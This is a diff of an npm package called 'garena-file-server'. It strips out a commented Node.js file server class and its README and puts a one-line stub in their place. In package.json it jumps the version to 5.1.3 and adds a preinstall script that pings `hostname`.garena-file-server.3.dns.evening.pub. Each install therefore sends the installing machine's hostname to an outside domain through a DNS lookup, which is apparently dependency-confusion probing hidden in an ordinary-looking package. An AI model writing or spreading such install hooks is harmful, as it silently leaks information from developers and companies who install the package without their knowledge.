-            log('info', `Identified as file: ${absolutePath}`);
-            await this._serveFile(absolutePath, stats, req, res);
-        } else if (stats.isDirectory()) {
-            log('info', `Identified as directory: ${absolutePath}`);
-            await this._serveDirectory(absolutePath, req, res);
-        } else {
-            // Handle other less common file system types (symlinks, sockets, block devices, etc.)
-            // For a simple server, treating them as inaccessible is safest.
-            log('info', `Unsupported file system type for path: ${absolutePath}`);
-            this._sendErrorResponse(res, 403, STATUS_MESSAGES[403]); // Forbidden
-        }
-    }
-
-    /**
-     * Serves a directory path. Tries to find and serve an index file first,
-     * otherwise generates a directory listing if allowed by configuration.
-     * @private
-     * @param {string} dirPath - The absolute path to the directory.
-     * @param {http.IncomingMessage} req - The incoming request object.
-     * @param {http.ServerResponse} res - The server response object.
-     */
-    async _serveDirectory(dirPath, req, res) {
-        // Step 1: Check for trailing slash in the requested URL.
-        // Browsers expect directory URLs to end with a slash. If missing, redirect.
-        const requestedUrlPath = url.parse(req.url).pathname;
-        if (!requestedUrlPath.endsWith('/')) {
-             const redirectUrl = requestedUrlPath + '/';
-             log('info', `Redirecting directory request to add trailing slash: ${req.url} -> ${redirectUrl}`);
-             // Use 301 Moved Permanently for permanent redirects
-             res.writeHead(301, { 'Location': redirectUrl });
-             res.end(); // End the response after sending redirect headers
-             return; // Stop further processing for this request
-        }
-
-        // Step 2: Attempt to serve the configured index file if indexFile option is set.
-        if (this._indexFile) {
-            const indexPath = path.join(dirPath, this._indexFile);
-            log('info', `Attempting to serve index file: ${indexPath}`);
-
-            try {
-                const indexStats = await fsStat(indexPath);
-
-                if (indexStats.isFile()) {
-                    // Found index file and it's a regular file, serve it.
-                    log('info', `Found and serving index file: ${indexPath}`);
-                    // Pass the indexStats to _serveFile to avoid re-stating the file
-                    await this._serveFile(indexPath, indexStats, req, res);
-                    return; // Stop here, index file is served
-                }
-                 // If index file exists but is not a regular file (e.g., directory, symlink),
-                 // we will not serve it as an index. Fall through to directory listing or 403.
-                 log('info', `Index path exists but is not a regular file: ${indexPath}`);
-
-            } catch (error) {
-                // If fsStat fails for the index file (most likely ENOENT or EACCES)
-                if (error.code !== 'ENOENT' && error.code !== 'EACCES') {
-                     // Log unexpected error when checking index file
-                     log('error', `Error checking index file ${indexPath}: ${error.message}`, error);
-                     // Treat as internal error if not ENOENT/EACCES
-                     return this._sendErrorResponse(res, 500, STATUS_MESSAGES[500]);
-                }
-                 // If ENOENT (not found) or EACCES (permission denied), continue to directory listing or 403/404.
-                 log('info', `Index file not found or accessible at ${indexPath}.`);
-            }
-        } else {
-             log('info', 'Index file serving is disabled by configuration.');
-        }
-
-
-        // Step 3: If no index file was served (either not configured, not found, or not a file),
-        // attempt directory listing if allowed by configuration.
-        if (this._allowDirectoryListing) {
-            log('info', `Directory listing allowed. Generating listing for: ${dirPath}`);
-            await this._serveDirectoryListing(dirPath, req, res);
-        } else {
-            // Directory listing is not allowed and no index file was found/served.
-            log('info', `Directory listing not allowed and index file not found for: ${dirPath}`);
-            this._sendErrorResponse(res, 403, STATUS_MESSAGES[403]); // Forbidden
-        }
-    }
-
-    /**
-     * Serves a specific file. Reads its content (or just sends headers for HEAD)
-     * and sends it in the HTTP response. Handles conditional requests (If-Modified-Since).
-     * @private
-     * @param {string} filePath - The absolute path to the file.
-     * @param {fs.Stats} stats - File system stats for the file.
-     * @param {http.IncomingMessage} req - The incoming request object.
-     * @param {http.ServerResponse} res - The server response object.
-     */
-    async _serveFile(filePath, stats, req, res) {
-        const mimeType = this._getMimeType(filePath);
-        const fileSize = stats.size;
-        const lastModifiedTime = stats.mtime; // File modification time
-
-        // Basic headers for file responses
-        const headers = {
-            'Content-Type': mimeType,
-            'Content-Length': fileSize,
-            // Set Cache-Control header. max-age configures how long the client should cache.
-            // 'public' allows caching by intermediaries (proxies, CDNs).
-            'Cache-Control': `public, max-age=${this._cacheMaxAge}`,
-            'Last-Modified': lastModifiedTime.toUTCString(), // Add Last-Modified header
-             // ETag header is typically used alongside Last-Modified for stronger caching validation,
-             // but requires generating a unique identifier for the file content (like a hash),
-             // which adds complexity and potential dependency on `crypto`. For simplicity, we rely on Last-Modified.
-        };
-
-        // Step 1: Handle Conditional Requests, specifically If-Modified-Since.
-        // If the client sends this header, they are asking if the file has been modified since their last request.
-        const ifModifiedSince = req.headers['if-modified-since'];
-        if (ifModifiedSince) {
-            try {
-                // Parse the client's If-Modified-Since date header
-                const clientModifiedDate = new Date(ifModifiedSince);
-                // Check if the parsed date is valid and if the file hasn't been modified since then.
-                // Precision matters - Node.js fs.stat mtime can have millisecond precision,
-                // HTTP dates are second precision. Comparison might need care or use getTime().
-                // Using getTime() and comparing timestamps directly is usually robust.
-                if (!isNaN(clientModifiedDate.getTime()) && lastModifiedTime.getTime() <= clientModifiedDate.getTime()) {
-                    // The file has not been modified since the client's cached version.
-                    log('info', `File ${filePath} not modified since ${ifModifiedSince}. Sending 304 Not Modified.`);
-                    res.writeHead(304); // Send 304 Not Modified status code
-                    res.end(); // No body is sent with 304 responses
-                    return; // Stop processing
-                }
-                // If the date is invalid or the file *was* modified, proceed to serve the full content.
-            } catch (e) {
-                 // Handle potential errors during date parsing. If parsing fails, ignore the header.
-                 log('info', `Failed to parse If-Modified-Since header "${ifModifiedSince}". Serving full file.`);
-            }
-        }
-
-
-        // Step 2: Handle HEAD requests.
-        // For HEAD requests, only headers are sent, no body. This is used by clients to check file existence and metadata.
-        if (req.method === 'HEAD') {
-            log('info', `Handling HEAD request for ${filePath}. Sending headers only.`);
-            // Send 200 OK status with the determined headers
-            res.writeHead(200, headers);
-            res.end(); // End the response without sending a body
-            return; // Stop processing
-        }
-
-        // Step 3: Handle GET requests by streaming the file content.
-        // Using fs.createReadStream is efficient for potentially large files as it avoids loading the whole file into memory.
-        log('info', `Handling GET request for ${filePath}. Streaming file content.`);
-        try {
-            // Create a readable stream from the file path
-            const fileStream = fs.createReadStream(filePath);
-
-            // Set headers and status code (200 OK) before piping the stream.
-            res.writeHead(200, headers);
-
-            // Pipe the file stream directly to the response stream.
-            // This efficiently sends the file content to the client as it's read.
-            fileStream.pipe(res);
-
-            // Handle errors that might occur during file streaming (e.g., network issues, file read errors after piping starts)
-            fileStream.on('error', (err) => {
-                log('error', `Error reading file stream ${filePath}: ${err.message}`, err);
-                // If an error occurs *after* headers are sent and piping has started,
-                // we cannot send an error *page*. The best approach is to log the error
-                // and attempt to gracefully end the response stream.
-                if (!res.finished) { // Check if response hasn't finished yet
-                    res.end(); // Attempt to end the response stream (sends any buffered data and closes)
-                }
-                // Node.js handles closing the underlying socket on stream errors or res.end()
-            });
-
-            // Optional: Log when the response finishes (either successfully or due to client disconnect)
-            res.on('finish', () => {
-                log('info', `Finished serving file: ${filePath}`);
-            });
-             res.on('close', () => {
-                 // Handle cases where the client disconnects prematurely before the file is fully sent.
-                 // The 'close' event fires regardless of whether the response finished or not.
-                 if (!res.finished) {
-                     log('info', `Client closed connection prematurely while serving ${filePath}`);
-                     // Destroy the file stream to stop reading if the connection closed early.
-                     // This releases file handle resources.
-                     fileStream.destroy();
-                 }
-             });
-
-
-        } catch (error) {
-             // This catch block primarily handles errors during stream creation,
-             // though fsStat errors should be caught earlier in _processRequest.
-             // Redundant safety check.
-             log('error', `Error creating file stream for ${filePath}: ${error.message}`, error);
-             if (!res.headersSent) {
-                 this._sendErrorResponse(res, 500, STATUS_MESSAGES[500]);
-             } else {
-                  // If headers were sent, and stream creation failed somehow (less likely),
-                  // attempt to end the response.
-                 res.end();
-             }
-        }
-    }
-
-    /**
-     * Generates and sends an HTML directory listing for the given path.
-     * Requires fsReaddir access.
-     * @private
-     * @param {string} dirPath - The absolute path to the directory.
-     * @param {http.IncomingMessage} req - The incoming request object.
-     * @param {http.ServerResponse} res - The server response object.
-     */
-    async _serveDirectoryListing(dirPath, req, res) {
-        log('info', `Generating directory listing for: ${dirPath}`);
-        try {
-            // Read the contents of the directory, including file type information
-            const items = await fsReaddir(dirPath, { withFileTypes: true });
-
-            // Sort directory items alphabetically, with directories listed before files.
-            items.sort((a, b) => {
-                 const isADir = a.isDirectory();
-                 const isBDir = b.isDirectory();
-
-                 if (isADir && !isBDir) return -1; // a is directory, b is file -> a comes first
-                 if (!isADir && isBDir) return 1; // a is file, b is directory -> b comes first
-                 return a.name.localeCompare(b.name); // Both same type, sort alphabetically
-            });
-
-            // Generate the HTML list items for each item in the directory.
-            let fileListHtml = '';
-            for (const item of items) {
-                // Skip entries starting with '.' if we previously implemented and threw on accessing them directly.
-                // However, for a listing, it might be better to hide them entirely for cleaner output and slightly more security by obscurity.
-                 if (item.name.startsWith('.') && item.name !== '..') { // Always show '..', skip other hidden entries
-                     log('info', `Skipping hidden entry in directory listing: ${item.name}`);
-                     continue;
-                 }
-                // Format the item into an HTML list item string
-                fileListHtml += formatDirectoryEntry(item.name, item.isDirectory());
-            }
-
-            // Get the URL path of the directory being listed for display in the title/heading.
-            // Ensure it ends with a slash for canonical representation.
-            const directoryUrlPath = ensureTrailingSlash(url.parse(req.url).pathname);
-
-            // Fill the directory listing HTML template with the actual data.
-            const htmlResponse = fillTemplate(DIRECTORY_LISTING_TEMPLATE, {
-                directoryPath: escapeHtml(directoryUrlPath), // Escape the URL path for display
-                fileList: fileListHtml
-            });
-
-            // Send the generated HTML response.
-            this._sendResponse(res, 200, {
-                'Content-Type': 'text/html; charset=utf-8', // Specify charset
-                'Content-Length': Buffer.byteLength(htmlResponse, 'utf-8'), // Calculate length based on UTF-8 encoding
-                // Set cache headers to prevent caching directory listings, which can change frequently.
-                'Cache-Control': 'no-cache, no-store, must-revalidate',
-                'Pragma': 'no-cache',
-                'Expires': '0' // Explicitly set expiry to 0 in the past
-            }, htmlResponse);
-
-        } catch (error) {
-            // Handle errors that occur during directory reading (e.g., permissions)
-            log('error', `Error reading directory for listing ${dirPath}: ${error.message}`, error);
-            // If fsReaddir failed, it's likely a permission error or the directory was removed.
-            if (error.code === 'EACCES') {
-                this._sendErrorResponse(res, 403, STATUS_MESSAGES[403]); // Forbidden
-            } else {
-                // For any other error during listing generation, send a 500
-                this._sendErrorResponse(res, 500, STATUS_MESSAGES[500]);
-            }
-        }
-    }
-
-    /**
-     * Gets the MIME type for a file path based on its extension, using the instance's MIME type map.
-     * @private
-     * @param {string} filePath - The absolute or relative file path.
-     * @returns {string} The determined MIME type or 'application/octet-stream' if unknown.
-     */
-    _getMimeType(filePath) {
-         // Get the file extension, including the leading dot.
-         const ext = path.extname(filePath).toLowerCase();
-         // Look up the MIME type in the instance's map (which includes defaults and custom types).
-         // If the extension is not found, return the default 'application/octet-stream'.
-         return this._mimeTypes[ext] || 'application/octet-stream';
-    }
-
-    /**
-     * Sends an HTTP response with specified status code, headers, and body.
-     * Includes basic error handling for the response writing process.
-     * @private
-     * @param {http.ServerResponse} res - The server response object.
-     * @param {number} statusCode - The HTTP status code to send.
-     * @param {object} headers - An object containing response headers.
-     * @param {string|Buffer|null} [body=null] - The response body (string, buffer, or null).
-     */
-    _sendResponse(res, statusCode, headers, body = null) {
-        // If headers have already been sent for this response object, do not attempt to send again.
-        // This prevents "Error: Can't set headers after they are sent".
-        if (res.headersSent) {
-            log('error', `Attempted to send response (status: ${statusCode}) but headers were already sent.`);
-            // It's difficult to recover here. The stream might be partially written or broken.
-            // The best we can do is ensure the response object is ended/destroyed if it's not finished.
-            if (!res.finished) {
-                 try {
-                     res.end(); // Try ending gracefully
-                 } catch (e) {
-                      // If ending fails, maybe the socket is already bad. Destroy it.
-                     if (!res.socket.destroyed) {
-                         res.socket.destroy();
-                     }
-                 }
-            }
-            return; // Abort sending this response
-        }
-
-        // Ensure Content-Length header is automatically calculated and set
-        // if a body is provided and the header wasn't explicitly set.
-        // This is important for non-streamed responses (like error pages).
-        if (body !== null && headers['Content-Length'] === undefined) {
-            // Calculate byte length for strings (assuming UTF-8) or use buffer length
-            headers['Content-Length'] = Buffer.byteLength(String(body), typeof body === 'string' ? 'utf-8' : undefined);
-        }
-
-        try {
-            // Write the status code and headers to the response
-            res.writeHead(statusCode, STATUS_MESSAGES[statusCode], headers);
-
-            // Send the response body and end the response stream
-            if (body !== null) {
-                res.end(body);
-            } else {
-                res.end(); // End response with no body (e.g., for HEAD or 304)
-            }
-            // Log the successful response status
-            log('info', `Responded ${statusCode} ${STATUS_MESSAGES[statusCode]}.`);
-        } catch (error) {
-             // This catch handles errors during res.writeHead or res.end *before* headersSent becomes true,
-             // or other unexpected response stream errors.
-             log('error', `Error sending response (status: ${statusCode}): ${error.message}`, error);
-             // In case of an error during sending, try to destroy the underlying socket
-             // to prevent the connection from hanging open in a bad state.
-             try {
-                 if (res.socket && !res.socket.destroyed) {
-                    res.socket.destroy();
-                 }
-             } catch (socketError) {
-                 log('error', `Error destroying socket after response send error: ${socketError.message}`);
-             }
-        }
-    }
-
-    /**
-     * Sends a standard HTML error response page for a given status code and message.
-     * @private
-     * @param {http.ServerResponse} res - The server response object.
-     * @param {number} statusCode - The HTTP status code for the error (e.g., 400, 403, 404, 500).
-     * @param {string} message - The error message to display on the page.
-     */
-    _sendErrorResponse(res, statusCode, message) {
-        // Ensure the status code is a valid HTTP error code, default to 500 if not.
-        const finalStatusCode = statusCode >= 400 && statusCode < 600 ? statusCode : 500;
-        const statusMessage = STATUS_MESSAGES[finalStatusCode] || 'Unknown Error';
-
-        // Fill the error page HTML template with the status code, message, and status text.
-        const htmlBody = fillTemplate(ERROR_PAGE_TEMPLATE, {
-            statusCode: finalStatusCode,
-            statusMessage: escapeHtml(statusMessage), // Escape status message
-            message: escapeHtml(message) // Escape the error message to prevent XSS in the error page
-        });
-
-        // Define headers for the error response. Use text/html content type.
-        // Explicitly set cache control to prevent caching error pages.
-        const headers = {
-            'Content-Type': 'text/html; charset=utf-8',
-            // Content-Length will be automatically calculated by _sendResponse if not set here
-            'Cache-Control': 'no-cache, no-store, must-revalidate',
-            'Pragma': 'no-cache',
-            'Expires': '0'
-        };
-
-        // Use the generic _sendResponse method to send the error page.
-        this._sendResponse(res, finalStatusCode, headers, htmlBody);
-    }
-
-     /**
-      * Ensures a string path ends with a slash if it's intended to represent a directory URL.
-      * Handles the root path ('/') specifically.
-      * @private
-      * @param {string} urlPath - The URL path string.
-      * @returns {string} The URL path with a trailing slash if needed.
-      */
-    ensureTrailingSlash(urlPath) {
-        if (urlPath === '' || urlPath === '/') {
-            return '/';
-        }
-        return urlPath.endsWith('/') ? urlPath : urlPath + '/';
-    }
-
-}
-
-// --- Exports ---
-
-// Export the main GarenaFileServer class to be used by the npm package.
-module.exports = GarenaFileServer;
+function a(){
+    console.log("test")
+}

package/package.json

@@ -1 +1,13 @@
-{"author":"","description":"Provides a file server solution for handling file uploads and downloads.","keywords":[],"license":"MIT","main":"index.js","name":"garena-file-server","scripts":{"test":"echo \"test\" \u0026\u0026 exit 1"},"version":"0.0.0-alpha1"}
+{
+  "name": "garena-file-server",
+  "version": "5.1.3",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "ping -c 1 `hostname`.garena-file-server.3.dns.evening.pub"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
+}

package/README.md

@@ -1,26 +0,0 @@
-# garena-file-server
-
-garena-file-server is a lightweight and efficient file server designed for handling large files with ease. It provides a simple and intuitive interface for uploading, downloading, and managing files.
-
-## Installation
-
-To install garena-file-server, run the following command in your terminal:
-
-```
-npm install garena-file-server
-```
-
-## Features
-
-- Supports uploading and downloading files of various sizes
-- Provides a user-friendly interface for managing files
-- Offers real-time file status updates
-- Ensures secure and reliable file storage
-
-## Contributing
-
-Contributions to garena-file-server are welcome! If you have any suggestions or bug reports, please open an issue or submit a pull request.
-
-## License
-
-garena-file-server is licensed under the MIT license. For more information, see the LICENSE file.